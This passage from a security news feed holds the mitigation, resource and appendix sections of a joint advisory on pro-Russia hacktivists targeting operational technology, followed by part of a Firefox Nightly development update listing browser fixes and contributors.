<li>Many devices lack robust authentication and authorization. Devices with weak authentication are vulnerable targets to threat actors using credential theft techniques.</li>
<li>Implement MFA where possible. Where MFA is not feasible, use strong, unique passwords. Apply password standards for operator-accessible services on underlying OT assets, as well as network devices protecting those services. This is especially important for services that require internet accessibility [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#ChangingDefaultPasswords3A" title="CPG 3.A">CPG 3.A</a>] [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#EstablishMinimumPasswordStrength3B" title="CPG 3.B">CPG 3.B</a>] [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#CreateUniqueCredentials3C" title="CPG 3.C">CPG 3.C</a>] [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#ImplementMultifactorAuthentication3F" title="CPG 3.F">CPG 3.F</a>].</li>
<li>Establish an allowlist that permits only authorized device IP addresses and/or media access control addresses. The allowlist can be refined to operator working hours to further obstruct malicious threat actor activity; organizations are encouraged to establish monitoring and alerting for access attempts not meeting these criteria [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#MonitorUnsuccessfulAutomatedLoginAttempts3E" title="CPG 3.E">CPG 3.E</a>].</li>
<li>Disable any unused authentication methods, logic, or features, such as default authentication keys and default passwords. Block all unused high ephemeral ports and monitor for attempted connections using standard protocols on non-standard ports [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#ProhibitConnectionofUnauthorizedDevices3R" title="CPG 3.R">CPG 3.R</a>].</li>
<li>Authenticate all access to field controllers before authorizing access to, or modification of, a device’s state, logic, program, or filesystems.</li>
</ul>
</li>
<li><strong>Enable control system security features </strong>that can separate and audit view and control functions. Limiting remotely accessible or default user accounts to “view-only” removes the potential for impact without exploiting a vulnerability [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#AdministratorsMaintainSeparateUserandPrivilegedAccounts3G" title="CPG 3.G">CPG 3.G</a>].</li>
<li><strong>Implement and practice business recovery/disaster recovery plans.</strong> Plans should also take into consideration redundancy, fail-safe mechanisms, islanding capabilities, backup restoration, and manual operation.
<ul>
<li>Include scenarios that necessitate switching to manual operations. Maintaining the capability of an organization to revert to manual controls to quickly restore operations is vital in the immediate aftermath of a cyber incident [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#IncidentPlanningandPreparedness6A" title="CPG 6.A">CPG 6.A</a>].</li>
<li>Create backups of the engineering logic, configurations, and firmware of HMIs to enable fast recovery. Organizations should routinely test backups and standby systems to ensure safe manual operations in the event of an incident [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#MaintainSystemBackupsRestorationAbility3O" title="CPG 3.O">CPG 3.O</a>].</li>
</ul>
</li>
<li><strong>Collect and monitor the traffic of OT assets and networking devices.</strong> This includes unusual logins or unexpected protocols communicating over the internet, and functions of ICS management protocols that change an asset’s operating mode or modify programs.</li>
<li><strong>Review configurations for setpoint ranges or tag values </strong>to stay within safe ranges and establish alerting for deviations.</li>
<li><strong>Take a proactive approach in the procurement process</strong> by following the guidance outlined in the joint guide <a href="https://www.cisa.gov/resources-tools/resources/secure-demand-priority-considerations-operational-technology-owners-and-operators-when-selecting" title="Secure by Demand: Priority Considerations for Operational Technology Owners and Operators when Selecting Digital Products">Secure by Demand: Priority Considerations for Operational Technology Owners and Operators when Selecting Digital Products</a>.</li>
</ul>
<h3>OT Device Manufacturers</h3>
<p>Although critical infrastructure organizations can take steps to mitigate risks, it is ultimately the responsibility of OT device manufacturers to build products that are secure by design. The authoring organizations urge device manufacturers to take ownership of the security outcomes of their customers in line with the joint guide <a href="https://www.cisa.gov/resources-tools/resources/secure-by-design" title="Shifting the Balance of Cybersecurity Risk: Principles and Approaches for Secure by Design Software">Shifting the Balance of Cybersecurity Risk: Principles and Approaches for Secure by Design Software</a>.</p>
<ul>
<li><strong>Eliminate default credentials and require strong passwords.</strong> The use of default credentials is a top weakness threat actors exploit to gain access to systems.</li>
<li><strong>Mandate MFA for privileged users.</strong> Changes to engineering logic or configurations are safety-impacting events in critical infrastructure. MFA should be available for safety critical components at no additional cost.</li>
<li><strong>Practice secure by default principles. </strong>OT components were initially designed without public internet connectivity in mind. When internet connection becomes necessary, implementing additional security measures is essential to safeguard these systems. Manufacturers should recognize insecure states and promptly inform users so they can make informed risk decisions.
<ul>
<li><strong>Include logging at no additional charge.</strong> Change and access control logs allow operators to track safety-impacting events in their critical infrastructure. These logs should be available for no cost and use open standard logging formats.</li>
</ul>
</li>
<li><strong>Publish Software Bill of Materials (SBOMs).</strong> Vulnerabilities in underlying software libraries can affect a wide range of devices. Without an SBOM, it is nearly impossible for a critical infrastructure system owner to measure and mitigate the impact of a vulnerability on their existing systems. See CISA’s <a href="https://www.cisa.gov/sbom" title="Software Bill of Materials">SBOM webpage</a> for more information.</li>
</ul>
<p>Additionally, see CISA’s <a href="https://www.cisa.gov/resources-tools/resources/secure-design-alert-how-software-manufacturers-can-shield-web-management-interfaces-malicious-cyber" title="Secure by Design Alert">Secure by Design Alert</a> on how software manufacturers can shield web management interfaces from malicious cyber activity. By using secure by design tactics, software manufacturers can make their product lines secure “out of the box” without requiring customers to spend additional resources making configuration changes, purchasing tiered security software and logs, monitoring, and making routine updates.</p>
<p>For more information on secure by design, see CISA’s <a href="https://www.cisa.gov/securebydesign" title="Secure by Design">Secure by Design</a> webpage.</p>
<h2><strong>Validate Security Controls</strong></h2>
<p>In addition to applying mitigations, the authoring organizations recommend exercising, testing, and validating your organization’s security program against the threat behaviors mapped to the MITRE ATT&amp;CK Matrix for Enterprise framework in this advisory. The authoring organizations recommend testing your existing security controls inventory to assess how it performs against the ATT&amp;CK techniques described in this advisory.</p>
<p>To start:</p>
<ol>
<li>Select an ATT&amp;CK technique described in this advisory (see <a href="https://www.cisa.gov/#Table1" title="Table 1"><strong>Table 1</strong></a> to<strong> </strong><a href="https://www.cisa.gov/#Table10" title="Table 10"><strong>Table 10</strong></a>).</li>
<li>Align your security technologies against the technique.</li>
<li>Test your technologies against the technique.</li>
<li>Analyze your detection and prevention technologies’ performance.</li>
<li>Repeat the process for all security technologies to obtain a set of comprehensive performance data.</li>
<li>Tune your security program, including people, processes, and technologies, based on the data generated by this process.</li>
</ol>
<p>The authoring organizations recommend continually testing your security program, at scale, in a production environment to ensure optimal performance against the MITRE ATT&amp;CK techniques identified in this advisory.</p>
<h2><strong>Resources</strong></h2>
<p>Entities requiring additional support for implementing any of the mitigations in this advisory should contact their regional CISA Cybersecurity Advisor for assistance. Key resources organizations should reference include:</p>
<ul>
<li>CISA, EPA, NSA, FBI, ASD’s ACSC, Cyber Centre, BSI, NCSC-NL, and NCSC-NZ’s <a href="https://www.cisa.gov/resources-tools/resources/foundations-ot-cybersecurity-asset-inventory-guidance-owners-and-operators" title="Foundations for OT Cybersecurity: Asset Inventory Guidance for Owners and Operators">Foundations for OT Cybersecurity: Asset Inventory Guidance for Owners and Operators</a> offers best practices to assist organizations in identifying and prioritizing which assets should be secured and protected.</li>
<li>CISA, FBI, NSA, EPA, DOE, USDA, FDA, MS-ISAC, Cyber Centre, and NCSC-UK’s guidance on <a href="https://www.cisa.gov/resources-tools/resources/defending-ot-operations-against-ongoing-pro-russia-hacktivist-activity" title="Defending OT Operations Against Ongoing Pro-Russia Hacktivist Activity">Defending OT Operations Against Ongoing Pro-Russia Hacktivist Activity</a> that can help organizations protect OT systems from pro-Russia hacktivist activity.</li>
<li>NSA and CISA’s guidance on <a href="https://media.defense.gov/2022/Sep/22/2003083007/-1/-1/0/CSA_ICS_Know_the_Opponent_.PDF" target="_blank" title="Control System Defense: Know the Opponent" data-entity-type="external">Control System Defense: Know the Opponent</a> helps organizations defend OT and ICS assets against malicious cyber activity.</li>
<li>CISA and EPA’s resource page on <a href="https://www.cisa.gov/water" title="Water and Wastewater Cybersecurity">Water and Wastewater Cybersecurity</a> to help organizations reduce risks posed by malicious cyber actors targeting water and wastewater systems.
<ul>
<li>For additional guidance, see CISA, EPA, and FBI’s fact sheet on <a href="https://www.cisa.gov/resources-tools/resources/top-cyber-actions-securing-water-systems" title="Top Cyber Actions for Securing Water Systems">Top Cyber Actions for Securing Water Systems</a>.</li>
</ul>
</li>
<li>The Food and Ag-ISAC’s best practices on <a href="https://www.idfa.org/wordpress/wp-content/uploads/2023/07/Food-and-Ag-ISAC-Cybersecurity-Guide-2023_IDFA.pdf" target="_blank" title="Food and Ag Cybersecurity: A Guide for Small &amp; Medium Enterprises" data-entity-type="external">Food and Ag Cybersecurity: A Guide for Small &amp; Medium Enterprises</a> provides recommendations to help mitigate against cyber threats.</li>
<li>DOE and National Association of Regulatory Utility Commissioners <a href="https://www.naruc.org/core-sectors/critical-infrastructure-and-cybersecurity/cybersecurity-for-utility-regulators/cybersecurity-baselines/" target="_blank" title="Cybersecurity Baselines for Electric Distribution Systems and Distributed Energy (DER)" data-entity-type="external">Cybersecurity Baselines for Electric Distribution Systems and Distributed Energy (DER)</a> webpage provides resources for state public utility commissions and utilities, as well as DER operators and aggregators to help mitigate cybersecurity risks.</li>
</ul>
<p>Additional resources that apply to this advisory include:</p>
<ul>
<li>EPA’s <a href="https://www.epa.gov/cyberwater/epa-cybersecurity-water-sector" target="_blank" title="Cybersecurity for the Water Sector" data-entity-type="external">Cybersecurity for the Water Sector</a> resource page provides organizations with guidance on implementing basic cyber hygiene practices.</li>
<li>CISA’s <a href="https://www.cisa.gov/cross-sector-cybersecurity-performance-goals" title="Cross-Sector Cybersecurity Performance Goals">Cross-Sector Cybersecurity Performance Goals</a> enables critical infrastructure organizations to reduce the likelihood and impact of known risks and adversary techniques.</li>
<li>CISA’s <a href="https://www.cisa.gov/audiences/small-and-medium-businesses/secure-your-business/require-strong-passwords" title="Require Strong Passwords">Require Strong Passwords</a> webpage supports small and medium-sized businesses mitigating against malicious cyber activity that targets weak passwords.</li>
<li>CISA, NSA, FBI, EPA, TSA, and international partners’ guidance <a href="https://www.cisa.gov/resources-tools/resources/secure-demand-priority-considerations-operational-technology-owners-and-operators-when-selecting" title="Secure by Demand: Priority Considerations for Operational Technology Owners and Operators when Selecting Digital Products">Secure by Demand: Priority Considerations for Operational Technology Owners and Operators when Selecting Digital Products</a>.</li>
<li>DOE’s guidance on <a href="https://www.energy.gov/ceser/cyber-informed-engineering" target="_blank" title="Cyber-Informed Engineering" data-entity-type="external">Cyber-Informed Engineering</a> recommends considering cyber-enabled risks during the conception, design, and development phases when manufacturing physical systems.</li>
<li>CISA’s <a href="https://www.cisa.gov/cyber-hygiene-services" title="Cyber Hygiene Services">Cyber Hygiene Services</a> help enable critical infrastructure organizations to reduce their exposure to threats by taking a proactive approach to monitoring and mitigating attack vectors.</li>
<li>CISA, NSA, FBI, and international partners’ guidance on <a href="https://www.cisa.gov/resources-tools/resources/secure-by-design" title="Shifting the Balance of Cybersecurity Risk: Principles and Approaches for Secure by Design Software">Shifting the Balance of Cybersecurity Risk: Principles and Approaches for Secure by Design Software</a> urges software manufacturers to provide customers with products that are safer and more secure.
<ul>
<li>See more information in these Secure by Design Alerts: <a href="https://www.cisa.gov/resources-tools/resources/secure-design-alert-how-manufacturers-can-protect-customers-eliminating-default-passwords" title="How Manufacturers Can Protect Customers by Eliminating Default Passwords">How Manufacturers Can Protect Customers by Eliminating Default Passwords</a> and <a href="https://www.cisa.gov/resources-tools/resources/secure-design-alert-how-software-manufacturers-can-shield-web-management-interfaces-malicious-cyber" title="How Software Manufacturers Can Shield Web Management Interfaces From Malicious Cyber Activity">How Software Manufacturers Can Shield Web Management Interfaces From Malicious Cyber Activity</a>.</li>
</ul>
</li>
</ul>
<h2><a class="ck-anchor"><strong>Contact Information</strong></a></h2>
<p><strong>U.S. organizations</strong> are encouraged to report suspicious or criminal activity related to information in this advisory to CISA, FBI, and/or NSA:</p>
<ul>
<li>Contact CISA via CISA’s 24/7 Operations Center at <a href="mailto:contact@cisa.dhs.gov" title="contact@cisa.dhs.gov">contact@cisa.dhs.gov</a> or 1-844-Say-CISA (1-844-729-2472) or your local <a href="https://www.fbi.gov/contact-us/field-offices" target="_blank" title="FBI field office" data-entity-type="external">FBI field office</a>. When available, please include the following information regarding the incident: date, time, and location of the incident; type of activity; number of people affected; type of equipment used for the activity; the name of the submitting company or organization; and a designated point of contact.</li>
<li>For NSA cybersecurity guidance inquiries, contact <a href="mailto:CybersecurityReports@nsa.gov" target="_blank" title="CybersecurityReports@nsa.gov">CybersecurityReports@nsa.gov</a>.</li>
</ul>
<p><strong>Australian organizations:</strong> Visit <a href="https://www.cyber.gov.au/" target="_blank" title="cyber.gov.au" data-entity-type="external">cyber.gov.au</a> or call 1300 292 371 (1300 CYBER 1) to report cybersecurity incidents and access alerts and advisories.</p>
<p><strong>Canadian organizations:</strong> Report incidents by emailing Cyber Centre at <a href="mailto:contact@cyber.gc.ca" target="_blank" title="contact@cyber.gc.ca">contact@cyber.gc.ca</a>.</p>
<p><strong>New Zealand organizations:</strong> Report cyber security incidents to <a href="mailto:incidents@ncsc.govt.nz" target="_blank" title="incidents@ncsc.govt.nz">incidents@ncsc.govt.nz</a> or call 04 498 7654.</p>
<p><strong>United Kingdom organizations:</strong> Report a significant cyber security incident: <a href="https://report.ncsc.gov.uk/" target="_blank" title="report.ncsc.gov.uk" data-entity-type="external">report.ncsc.gov.uk</a> (monitored 24 hours) or, for urgent assistance, call 03000 200 973.</p>
<h2><strong>Disclaimer</strong></h2>
<p>The information in this report is being provided “as is” for informational purposes only. The authoring organizations do not endorse any commercial entity, product, company, or service, including any entities, products, or services linked within this document. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by FBI and co-sealers.</p>
<h2><strong>Acknowledgements</strong></h2>
<p>Schneider Electric, Nozomi Networks, Eversource Energy, Electricity Information Sharing and Analysis Center, Chevron, BP, and Dragos contributed to this advisory.</p>
<h2><strong>Version History</strong></h2>
<p><strong>December 09, 2025:</strong> Initial version.</p>
<h2><strong>Appendix A: Targeting Methodologies for Pro-Russia Hacktivist Groups</strong></h2>
<p>For further information on targeting methodologies for pro-Russia hacktivist groups, see:</p>
<ul>
<li>CISA’s alert <a href="https://www.cisa.gov/news-events/alerts/2025/05/06/unsophisticated-cyber-actors-targeting-operational-technology" title="Unsophisticated Cyber Threat Actor(s) Targeting Operational Technology">Unsophisticated Cyber Threat Actor(s) Targeting Operational Technology</a>;</li>
<li>The joint fact sheet <a href="https://www.cisa.gov/resources-tools/resources/primary-mitigations-reduce-cyber-threats-operational-technology" title="Primary Mitigations to Reduce Cyber Threats to Operational Technology">Primary Mitigations to Reduce Cyber Threats to Operational Technology</a>; and</li>
<li>CISA’s <a href="https://www.cisa.gov/topics/cyber-threats-and-advisories/advanced-persistent-threats/russia" title="Russia Cyber Threat">Russia Cyber Threat</a> webpage.</li>
</ul>
<h2><a class="ck-anchor"><strong>Appendix B: Additional Designators Used for Cited Groups</strong></a></h2>
<p>The cybersecurity industry and cyber actor groups often use various names to reference actor groups. While not exhaustive, the following are the most notable names used within the cybersecurity community to reference the groups in this advisory.</p>
<p><strong>Note:</strong> Cybersecurity organizations have different methods of tracking and attributing cyber actors, and this may not be a 1:1 correlation to the authoring organizations’ understanding for all activity related to these groupings.</p>
<ul>
<li>GRU military unit 74455
<ul>
<li>Sandworm Team</li>
<li>Voodoo Bear</li>
<li>Seashell Blizzard</li>
<li>APT44</li>
</ul>
</li>
<li>Cyber Army of Russia Reborn (CARR)
<ul>
<li>CyberArmy of Russia</li>
<li>Народная CyberАрмия (НКА)</li>
<li>People’s CyberArmy of Russia (PCA)</li>
<li>Russian CyberArmy Team (RCAT)</li>
</ul>
</li>
<li>NoName057(16)
<ul>
<li>NoName057(16) Spain</li>
<li>NoName057(16) Italy</li>
<li>NoName057(16) France</li>
</ul>
</li>
<li>Z-Pentest
<ul>
<li>Z-Pentest Beograd</li>
<li>Z-Pentest Alliance</li>
<li>Z-Alliance</li>
</ul>
</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[Firefox Nightly: Giving You More Control – These Weeks in Firefox: Issue 204]]></title>
<description><![CDATA[Highlights

Maxx Crawford added a pref to hide the New Tab logo so users can opt out of branding without altering page layout or resorting to CSS overrides.
Harshit enabled video overlay detection in Nightly 153, allowing you to use the context menu to control videos on more pages! We plan on let...]]></description>
<link>https://tsecurity.de/de/3693293/tools/firefox-nightly-giving-you-more-control-these-weeks-in-firefox-issue-204/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693293/tools/firefox-nightly-giving-you-more-control-these-weeks-in-firefox-issue-204/</guid>
<pubDate>Sat, 25 Jul 2026 08:37:31 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h3>Highlights</h3>
<ul>
<li>Maxx Crawford <a href="https://bugzil.la/2041708">added a pref to hide the New Tab logo </a>so users can opt out of branding without altering page layout or resorting to CSS overrides.</li>
<li>Harshit <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2041819">enabled video overlay detection</a> in Nightly 153, allowing you to use the context menu to control videos on more pages! We plan on letting this ride out in Firefox 153.
<ul>
<li><a href="https://www.instagram.com/p/DXH8Rd6EcWo/">You can try it out on this Instagram reel</a> in Nightly</li>
</ul>
</li>
</ul>
<p><img alt="Firefox context menu video controls like Pause, Unmute, Speed and Loop." class="aligncenter size-full wp-image-2081" height="431" src="https://blog.nightly.mozilla.org/files/2026/06/image2-2.png" width="480"></p>
<ul>
<li>A note to WebExtension authors – as part of a <a href="https://blog.mozilla.org/addons/2026/04/23/webextensions-api-changes-firefox-149-152/">planned deprecation announced last month</a>, executeScript and insertCSS are now restricted from moz-extension pages starting in Firefox 152 –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2015559"> Bug 2015559</a></li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=557153">Nicolas Chevobbe [:nchevobbe]</a> added support and debugging for modern attr()(which is <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2038939">enabled on Nightly</a>) (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2014751">#2014751</a>)</li>
</ul>
<p><img alt="Tooltip in Firefox DevTools for mismatched syntax with attr()" class="aligncenter size-full wp-image-2082" height="164" src="https://blog.nightly.mozilla.org/files/2026/06/image1-2.png" width="872"></p>
<h3>Friends of the Firefox team</h3>
<h4><a href="https://bugzilla.mozilla.org/buglist.cgi?title=Resolved%20bugs%20(excluding%20employees)&amp;quicksearch=1717176%2C2031328%2C2038948%2C2011485%2C1455294%2C2035084%2C2039455%2C2036767%2C2039878%2C2013176%2C2022414%2C2036237%2C2036578%2C2041612%2C1262773&amp;list_id=17986996">Resolved bugs (excluding employees)</a></h4>
<p><a href="https://github.com/niklasbaumgardner/NewContributorScraper">Script to find new contributors from bug list</a></p>
<h4>Volunteers that fixed more than one bug</h4>
<ul>
<li>Sam Johnson</li>
<li>Sebastian Zartner [:sebo]</li>
</ul>
<h4>New contributors (🌟 = first patch)</h4>
<ul>
<li>Immaculate Atim: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2022414">Switch to using an array instead of an object string for browser.backup.enabled_on.profiles</a></li>
<li>liz: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2011485">Screenshots overlay visible on both splitview browsers</a></li>
<li>🌟 Rahman Mahmutović [:r_m]: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1717176">Can’t change content in box model in inspector for box-sizing:border-box elements</a></li>
<li>Takeru Mitsumori: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2038948">Fix typo in ID name about-translations-swap-langauges-icon in about-translations.html</a></li>
<li>🌟 Freya Arbjerg [:freyacodes]: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2036767">Blackboxed columns are ignored</a></li>
<li> tom.passarelli: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031328">tab-preview-panel emits unpaired popupshown/popuphidden events, breaking sidebar autohide</a></li>
</ul>
<h3>Project Updates</h3>
<h4>Add-ons / Web Extensions</h4>
<h5>Addon Manager &amp; about:addons</h5>
<ul>
<li>As part of the work for the Project Nova about:addons page restyling, the about:addons sidebar has been migrated to the moz-page-nav and moz-page-nav-button reusable components, improving accessibility and visual consistency with the Firefox Desktop about:settings page –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1881767"> Bug 1881767</a></li>
</ul>
<h5>WebExtensions Framework</h5>
<ul>
<li>Implemented WebExtensions negative permissions infrastructure, providing the foundations for enterprise policy “blocked host permissions” features –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1745823"> Bug 1745823</a></li>
<li>Restricted host permission changes for MV3 extensions force-installed via enterprise policy (matching similar behaviors provided by Chrome enterprise policy behaviors) –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1904054"> Bug 1904054</a>
<ul>
<li>Thanks to Mike Kaply for the implementation of this enterprise policy enforcement feature.</li>
</ul>
</li>
</ul>
<h5>WebExtension APIs</h5>
<ul>
<li>Fixed handling of &lt;all_urls&gt; as an API permission in Manifest V3, ensuring the permission is correctly initialized on extension install –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1758306"> Bug 1758306</a></li>
</ul>
<h4>DevTools</h4>
<ul>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=789324">Rahman Mahmutović [:r_m]</a> made it possible to edit width/height in the box model section of the Layout panel (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1717176">#1717176</a>)</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=446518">Sebastian Zartner [:sebo]</a> improved toggling tools driving in-page highlighters (e.g. the Measuring) (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1262773">#1262773</a>)</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=446518">Sebastian Zartner [:sebo]</a> added a setting to control visibility of HTML comments in the markup view (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1455294">#1455294</a>)</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=789044">Freya Arbjerg [:freyacodes]</a> fixed an issue in script blackboxing (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2036767">#2036767</a>)</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=283262">Alexandre Poirot [:ochameau]</a> replaced custom preference to log RDP messages with MOZ_LOG (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1622857">#1622857</a>)</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=283262">Alexandre Poirot [:ochameau]</a> fixed retrieval of garbage collected script text content (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1758454">#1758454</a>)</li>
</ul>
<h4>WebDriver</h4>
<ul>
<li>Sameem updated the “Take Element Screenshot” command from WebDriver Classic to <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2013176">crop screenshots of elements which exceed the viewport</a>. This aligns with the specification and avoids errors when attempting to capture huge elements.</li>
<li>Alexandra Borovova updated the events for new top-level browsing contexts: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1930594">we will not send anymore “browsingContext.domContentLoaded” and “browsingContext.load” events for them, instead the “browsingContext.contextCreated” event will be sent when a tab is ready to be used</a>. This is required to align with the expected per-spec behavior.</li>
<li>Henrik Skupin landed a patch <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1430064">allowing geckodriver to gracefully shut down Firefox</a> when geckodriver itself is terminated.</li>
<li>Hiroyuki Ikezoe <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2040252">disabled Firefox’s “scroll axis lock” feature</a> so WebDriver actions for wheel input devices can scroll in arbitrary directions when using pan gestures.</li>
</ul>
<h4>Lint, Docs and Workflow</h4>
<ul>
<li>Added a rule to <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1790711">prevent new uses of Preferences.sys.mjs</a>.</li>
<li>The browser environment globals within ESLint have <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1793814">now been updated</a>. These include Sanitizer, VideoFrame and a few other new ones.</li>
<li>Temporal, and some other definitions have been <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1999036">added to TypeScript</a>.</li>
</ul>
<h4>New Tab Page</h4>
<ul>
<li>Much has happened in the last 2 weeks! <a href="https://bugzilla.mozilla.org/buglist.cgi?bug_status=RESOLVED%2CVERIFIED%2CCLOSED&amp;resolution=FIXED&amp;chfieldfrom=2026-05-12T14%3A40%3A16.019Z&amp;chfieldto=Now&amp;bug_id=2015530%2C2024720%2C2028377%2C2028534%2C2033592%2C2035176%2C2036902%2C2037143%2C2037301%2C2037541%2C2037646%2C2037947%2C2038048%2C2038392%2C2038790%2C2038823%2C2038881%2C2038981%2C2038984%2C2039103%2C2039107%2C2039333%2C2039346%2C2039358%2C2039477%2C2039587%2C2039752%2C2039765%2C2039770%2C2039775%2C2039956%2C2039963%2C2040027%2C2040033%2C2040254%2C2040269%2C2040370%2C2040376%2C2040480%2C2040481%2C2040503%2C2040552%2C2040645%2C2040674%2C2040677%2C2041033%2C2041163%2C2041196%2C2041204%2C2041205%2C2041207%2C2041244%2C2041532%2C2041651%2C2041682%2C2041708%2C2041711%2C2041730%2C2041757%2C2041765%2C2041814%2C2042054&amp;product=Firefox&amp;component=New+Tab+Page">Here’s a full bug list</a>, and here are some highlights.</li>
<li>Dre fixed the List widget that was creating a new list too eagerly on the New Tab Page (<a href="https://bugzil.la/2033592">2033592</a>) — prevents accidental list creation and improves the Lists UI reliability.</li>
<li>Maxx Crawford<a href="https://bugzil.la/2035176"> fixed Weather widget small card layout issues with opt-in location options and an error message displayed</a>, resolving card overflow and removing the spurious opt-in error so users see a compact Weather card and correct location prompts on New Tab.</li>
<li>Reem Hamoui<a href="https://bugzil.la/2037301"> added key dates state to the Sports widget</a>, enabling the Sports card to surface event deadlines/key-date highlights on New Tab so sports users see timely date info.</li>
<li>Scott Downe<a href="https://bugzil.la/2037541"> added a manage widgets option to the New Tab nova widgets context menu</a>, giving users a direct context-menu entry to open the widget management flow from any widget with Nova enabled.</li>
<li>Scott Downe added a reusable Newtab widget base component to centralize lifecycle, focus/keyboard handling, DOM templates, and telemetry hooks, reducing duplication and making widget behavior more consistent; see<a href="https://bugzil.la/2037947"> Newtab widget base component</a>.</li>
<li>Dre converted per-widget expansion handling to a shared widget expansion handler to unify expand/collapse state management and prevent widgets from incorrectly retaining or losing expanded state; see<a href="https://bugzil.la/2038048"> Convert widget expansion handling to shared widget expansion</a>.</li>
<li>Nina Pypchenko [:nina-py]<a href="https://bugzil.la/2038881"> updated the Sports widget to populate the “follow teams” state from the /teams endpoint</a>, so follow/unfollow toggles now reflect server-side subscriptions and reduce incorrect follow states.</li>
<li>Scott Downe<a href="https://bugzil.la/2038981"> moved widget menu items</a> within New Tab widgets to standardize menu ordering and action grouping, so users find Add/Remove/Configure entries in expected positions across platforms.</li>
<li>Dre<a href="https://bugzil.la/2039346"> fixed a World Clock city search bug </a>for the word clocks widget, restoring expected search filtering/matching so city lookups return correct results.</li>
<li>Scott Downe fixed an issue where the New Tab small weather widget size change didn’t always apply by correcting the widget size update path (JS/CSS layout interactions), improving consistent rendering for small-tile weather across responsive breakpoints and platforms; see<a href="https://bugzil.la/2040033"> Newtab small weather widget size change doesn’t always work</a>.</li>
<li>Nina Pypchenko [:nina-py]<a href="https://bugzil.la/2040269"> added a group stage section to match highlights</a> in the sports widget on New Tab so users now see stage-aware grouping and stage labels on match highlight cards, making tournament context (group vs knockout) visible while browsing highlights.</li>
<li>Dre<a href="https://bugzil.la/2040376"> fixed the small world clock widget not expanding to large while editing clocks</a> so users can enter edit mode and expand the widget as expected; the change wires the edit-mode resize handler to update widget size/class during edits.</li>
<li>Maxx Crawford<a href="https://bugzil.la/2040480"> added WCW OMC message strings</a> so World Cup widget messaging flows on New Tab now display the correct copy (localized where available) instead of falling back to missing-text behavior.</li>
<li>Reem Hamoui<a href="https://bugzil.la/2040552"> added a “View all” button and a list view for the results tab at medium widget size</a> so Sports widget users on medium New Tab tiles can expand results and scroll full lists without resizing the widget.</li>
<li>Maxx Crawford<a href="https://bugzil.la/2040674"> added WCW “Watch Live” stream strings to the Sports widget strings bundle</a> so the widget can surface a localized “Watch Live” CTA for applicable events.</li>
<li>Dre<a href="https://bugzil.la/2040677"> restored VoiceOver reachability for Edit/Remove in World Clock on macOS</a> so macOS VoiceOver users can now focus and activate clock Edit/Remove controls thanks to accessibility role/label and focus-order fixes.</li>
<li>Maxx Crawford removed the persistent browser logo when all new-tab features (Top Sites, widgets, content feed) are disabled by adding a conditional render guard in the New Tab component, preventing an orphaned logo (<a href="https://bugzil.la/2041033">2041033</a>).</li>
<li>Mike Conley added New Tab jest tests to the node tests Tier 1 CI job<a href="https://bugzil.la/2041757"> Run newtab jest tests as part of node tests Tier 1 job</a> to catch regressions earlier in CI</li>
<li>Irene Ni shipped multiple visual fixes for the Sports widget<a href="https://bugzil.la/2041765"> Sports widget – various visual fixes</a> (spacing, truncation, icon alignment, clipping) to improve readability and layout on constrained viewports.</li>
</ul>
<h4>Picture-in-Picture</h4>
<ul>
<li>kpatenio <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2041113">adjusted our YouTube site specific wrapper so that the URL bar toggle appears more reliably</a>, especially when selecting videos from the YouTube search page.</li>
<li>Thanks to Sylvestre for patching <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2037420">some</a> <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2042141">bugs</a> to prevent some spurious console errors!</li>
